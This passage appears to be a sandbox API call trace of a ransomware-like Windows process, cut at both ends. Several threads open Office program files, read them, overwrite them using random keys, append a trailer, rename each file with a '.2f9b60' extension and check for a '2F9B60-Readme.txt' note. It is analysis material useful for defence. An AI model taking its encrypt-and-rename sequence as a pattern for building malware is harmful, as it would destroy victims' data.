SourceString="f6c9d88373cc1178b8f309071b306e816e8c35c2a600631a" | out: DestinationString="f6c9d88373cc1178b8f309071b306e816e8c35c2a600631a") [0223.400] RtlAnsiStringToUnicodeString (in: DestinationString=0x50a1f778, SourceString="f6c9d88373cc1178b8f309071b306e816e8c35c2a600631a", AllocateDestinationString=1 | out: DestinationString="f6c9d88373cc1178b8f309071b306e816e8c35c2a600631a") returned 0x0 [0223.400] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e97c0 [0223.401] wcscat (in: _Dest=0x431577c0, _Source="f6c9d88373cc" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc" [0223.401] wcscat (in: _Dest=0x431577c0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc.2f9b60" [0223.401] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc.2f9b60", NtPathName=0x50a1f750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\f6c9d88373cc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0223.401] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xec) returned 0x1b78f080 [0238.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b78f080) returned 1 [0238.107] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430742c0) returned 1 [0238.107] NtQueryInformationFile (in: FileHandle=0x1ac8, IoStatusBlock=0x50a1f7b8, FileInformation=0x50a1f7c8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x50a1f7b8, FileInformation=0x50a1f7c8) returned 0x0 [0238.107] NtSetInformationFile (FileHandle=0x1ac8, IoStatusBlock=0x50a1f7b8, FileInformation=0x50a1f7c8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431577c0) returned 1 [0240.382] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e97c0) returned 1 [0240.382] FlushFileBuffers (hFile=0x1ac8) returned 1 [0240.643] CloseHandle (hObject=0x1ac8) returned 1 [0242.725] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43116080 [0242.726] wcscpy (in: _Dest=0x43116080, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0242.726] wcscat (in: _Dest=0x43116080, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" [0242.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\2f9b60-readme.txt")) returned 0x20 [0243.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43116080) returned 1 [0243.582] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205e4c0) returned 1 Thread: id = 3760 os_tid = 0x141c [0221.466] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif")) returned 0x20 [0221.466] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF", dwFileAttributes=0x20) returned 1 [0221.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\DELETE.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\delete.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1e28 [0221.468] GetFileSizeEx (in: hFile=0x1e28, lpFileSize=0x4f63fc60 | out: lpFileSize=0x4f63fc60*=625) returned 1 [0221.468] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x26d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.468] ReadFile (in: hFile=0x1e28, lpBuffer=0x4f63fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x4f63fc28, lpOverlapped=0x0 | out: lpBuffer=0x4f63fbe0*, lpNumberOfBytesRead=0x4f63fc28*=0x4, lpOverlapped=0x0) returned 1 [0221.469] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.469] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a5d0 [0221.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0221.470] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a330 [0221.471] NtQuerySystemTime (in: CurrentTime=0x4f63fb20 | out: CurrentTime=0x4f63fb20*=132462178254586000) returned 0x0 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x7d76ce5b [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x50f4ef77 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x39b0c77f [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x5120c0a7 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x6204c357 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x643e1a17 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x555f4ddc [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0xb985a67 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x1c76ad29 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x1422dd65 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x25ca4146 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x69d9343 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0xb8828f5 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x1aea3e28 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x6f3ec5ae [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x28ba2631 [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x3f621ede [0221.471] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x73a22a17 [0221.472] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x4239c7b1 [0221.472] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x3e6b2f41 [0221.472] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x3f6f96db [0221.472] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x142f9342 [0221.472] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x6f1853f1 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x1a85904f [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x7d4bf59b [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x2c79a8d6 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x2d73d825 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x4a5d3065 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x655ac577 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x5f9e1d57 [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x1e9549cc [0221.486] RtlRandomEx (in: Seed=0x4f63fb10 | out: Seed=0x4f63fb10) returned 0x2cd26e75 [0221.496] ReadFile (in: hFile=0x1e28, lpBuffer=0x420dd570, nNumberOfBytesToRead=0x271, lpNumberOfBytesRead=0x4f63fb10, lpOverlapped=0x0 | out: lpBuffer=0x420dd570*, lpNumberOfBytesRead=0x4f63fb10*=0x271, lpOverlapped=0x0) returned 1 [0221.496] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0221.496] WriteFile (in: hFile=0x1e28, lpBuffer=0x420d2140*, nNumberOfBytesToWrite=0x271, lpNumberOfBytesWritten=0x4f63fb14, lpOverlapped=0x0 | out: lpBuffer=0x420d2140*, lpNumberOfBytesWritten=0x4f63fb14*=0x271, lpOverlapped=0x0) returned 1 [0223.168] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fd780 [0223.169] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe1a0 [0223.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe1a0) returned 1 [0223.169] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420d2140) returned 1 [0223.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420dd570) returned 1 [0223.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869ec0) returned 1 [0223.170] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61ec0) returned 1 [0223.170] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x204fe1a0 [0223.171] SetFilePointerEx (in: hFile=0x1e28, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0223.171] WriteFile (in: hFile=0x1e28, lpBuffer=0x431a9d70*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x4f63fc30, lpOverlapped=0x0 | out: lpBuffer=0x431a9d70*, lpNumberOfBytesWritten=0x4f63fc30*=0x106, lpOverlapped=0x0) returned 1 [0224.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62460 [0224.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86cdc0 [0224.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aed0 [0224.325] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aed0) returned 1 [0224.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0224.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aed0 [0224.325] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b920 [0224.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b920) returned 1 [0224.326] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86cdc0) returned 1 [0224.327] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62460) returned 1 [0224.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ad5a0 [0224.328] sprintf (in: _Dest=0x431ad5a0, _Format="%c%c" | out: _Dest="48") returned 2 [0224.328] sprintf (in: _Dest=0x431ad5a2, _Format="%c%c" | out: _Dest="ad") returned 2 [0224.328] sprintf (in: _Dest=0x431ad5a4, _Format="%c%c" | out: _Dest="48") returned 2 [0224.328] sprintf (in: _Dest=0x431ad5a6, _Format="%c%c" | out: _Dest="34") returned 2 [0224.328] sprintf (in: _Dest=0x431ad5a8, _Format="%c%c" | out: _Dest="6e") returned 2 [0224.328] sprintf (in: _Dest=0x431ad5aa, _Format="%c%c" | out: _Dest="ae") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5ac, _Format="%c%c" | out: _Dest="2b") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5ae, _Format="%c%c" | out: _Dest="f4") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5b0, _Format="%c%c" | out: _Dest="95") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5b2, _Format="%c%c" | out: _Dest="3f") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5b4, _Format="%c%c" | out: _Dest="c5") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5b6, _Format="%c%c" | out: _Dest="49") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5b8, _Format="%c%c" | out: _Dest="d3") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5ba, _Format="%c%c" | out: _Dest="8f") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5bc, _Format="%c%c" | out: _Dest="33") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5be, _Format="%c%c" | out: _Dest="3f") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5c0, _Format="%c%c" | out: _Dest="db") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5c2, _Format="%c%c" | out: _Dest="4c") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5c4, _Format="%c%c" | out: _Dest="21") returned 2 [0224.329] sprintf (in: _Dest=0x431ad5c6, _Format="%c%c" | out: _Dest="a4") returned 2 [0224.329] RtlInitAnsiString (in: DestinationString=0x4f63fca8, SourceString="48ad48346eae2bf4953fc549d38f333fdb4c21a4" | out: DestinationString="48ad48346eae2bf4953fc549d38f333fdb4c21a4") [0224.329] RtlAnsiStringToUnicodeString (in: DestinationString=0x4f63fc78, SourceString="48ad48346eae2bf4953fc549d38f333fdb4c21a4", AllocateDestinationString=1 | out: DestinationString="48ad48346eae2bf4953fc549d38f333fdb4c21a4") returned 0x0 [0224.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa680 [0224.330] wcscat (in: _Dest=0x1ced0040, _Source="48ad48346e" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e" [0224.330] wcscat (in: _Dest=0x1ced0040, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e.2f9b60" [0224.330] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e.2f9b60", NtPathName=0x4f63fc50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\48ad48346e.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0224.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xe8) returned 0x1b799250 [0238.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799250) returned 1 [0238.144] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b8d60) returned 1 [0238.144] NtQueryInformationFile (in: FileHandle=0x1e28, IoStatusBlock=0x4f63fcb8, FileInformation=0x4f63fcc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x4f63fcb8, FileInformation=0x4f63fcc8) returned 0x0 [0238.144] NtSetInformationFile (FileHandle=0x1e28, IoStatusBlock=0x4f63fcb8, FileInformation=0x4f63fcc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.395] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced0040) returned 1 [0240.396] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fa680) returned 1 [0240.468] FlushFileBuffers (hFile=0x1e28) returned 1 [0240.644] CloseHandle (hObject=0x1e28) returned 1 [0242.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43115fa0 [0242.737] wcscpy (in: _Dest=0x43115fa0, _Source="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0242.737] wcscat (in: _Dest=0x43115fa0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" [0242.737] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\2f9b60-readme.txt")) returned 0x20 [0243.657] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43115fa0) returned 1 [0243.658] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43112e70) returned 1 Thread: id = 3761 os_tid = 0x1434 [0227.368] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif")) returned 0x20 [0227.380] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF", dwFileAttributes=0x20) returned 1 [0227.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1160 [0227.382] GetFileSizeEx (in: hFile=0x1160, lpFileSize=0x1bd4fe20 | out: lpFileSize=0x1bd4fe20*=2430) returned 1 [0227.382] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x97a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.382] ReadFile (in: hFile=0x1160, lpBuffer=0x1bd4fda0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1bd4fde8, lpOverlapped=0x0 | out: lpBuffer=0x1bd4fda0*, lpNumberOfBytesRead=0x1bd4fde8*=0x4, lpOverlapped=0x0) returned 1 [0228.479] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1310 [0228.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a1ca0 [0228.479] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a20f0 [0228.479] NtQuerySystemTime (in: CurrentTime=0x1bd4fce0 | out: CurrentTime=0x1bd4fce0*=132462178324786000) returned 0x0 [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x775bd983 [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x64091e91 [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0xcdd6340 [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0xe3d9b11 [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0xe38279b [0228.479] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x31faf41b [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x32a6571b [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x148b1a3b [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x70ea152d [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x224fdd48 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x6551fdac [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x200c346f [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x46e046b2 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x445fe0b5 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x228f4ff0 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x1b8ab47d [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x5f9e34f2 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0xe3d9b11 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x3dca79c5 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x52f5f429 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x1602e2f2 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x73cc0abc [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x116673b0 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x7d1742be [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x68f63f60 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x5ba73e7b [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x5631a1c9 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x4c24afa3 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x70829f95 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x772c99b6 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x3b4b9431 [0228.480] RtlRandomEx (in: Seed=0x1bd4fcd0 | out: Seed=0x1bd4fcd0) returned 0x7f4908b1 [0228.489] ReadFile (in: hFile=0x1160, lpBuffer=0x42243dd0, nNumberOfBytesToRead=0x97e, lpNumberOfBytesRead=0x1bd4fcd0, lpOverlapped=0x0 | out: lpBuffer=0x42243dd0*, lpNumberOfBytesRead=0x1bd4fcd0*=0x97e, lpOverlapped=0x0) returned 1 [0228.489] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0228.489] WriteFile (in: hFile=0x1160, lpBuffer=0x4221e530*, nNumberOfBytesToWrite=0x97e, lpNumberOfBytesWritten=0x1bd4fcd4, lpOverlapped=0x0 | out: lpBuffer=0x4221e530*, lpNumberOfBytesWritten=0x1bd4fcd4*=0x97e, lpOverlapped=0x0) returned 1 [0232.685] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b90 [0232.686] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0b60 [0232.687] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0b60) returned 1 [0232.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4221e530) returned 1 [0232.688] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42243dd0) returned 1 [0232.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c940) returned 1 [0232.689] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61e70) returned 1 [0232.689] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a0b60 [0232.690] SetFilePointerEx (in: hFile=0x1160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.690] WriteFile (in: hFile=0x1160, lpBuffer=0x167700*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1bd4fdf0, lpOverlapped=0x0 | out: lpBuffer=0x167700*, lpNumberOfBytesWritten=0x1bd4fdf0*=0x10a, lpOverlapped=0x0) returned 1 [0235.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058560 [0235.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0235.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6650) returned 1 [0235.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0235.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6650 [0235.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a6b00 [0235.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a6b00) returned 1 [0235.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058560) returned 1 [0235.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x431ad820 [0235.273] sprintf (in: _Dest=0x431ad820, _Format="%c%c" | out: _Dest="b7") returned 2 [0235.273] sprintf (in: _Dest=0x431ad822, _Format="%c%c" | out: _Dest="bd") returned 2 [0235.273] sprintf (in: _Dest=0x431ad824, _Format="%c%c" | out: _Dest="16") returned 2 [0235.273] sprintf (in: _Dest=0x431ad826, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.273] sprintf (in: _Dest=0x431ad828, _Format="%c%c" | out: _Dest="77") returned 2 [0235.273] sprintf (in: 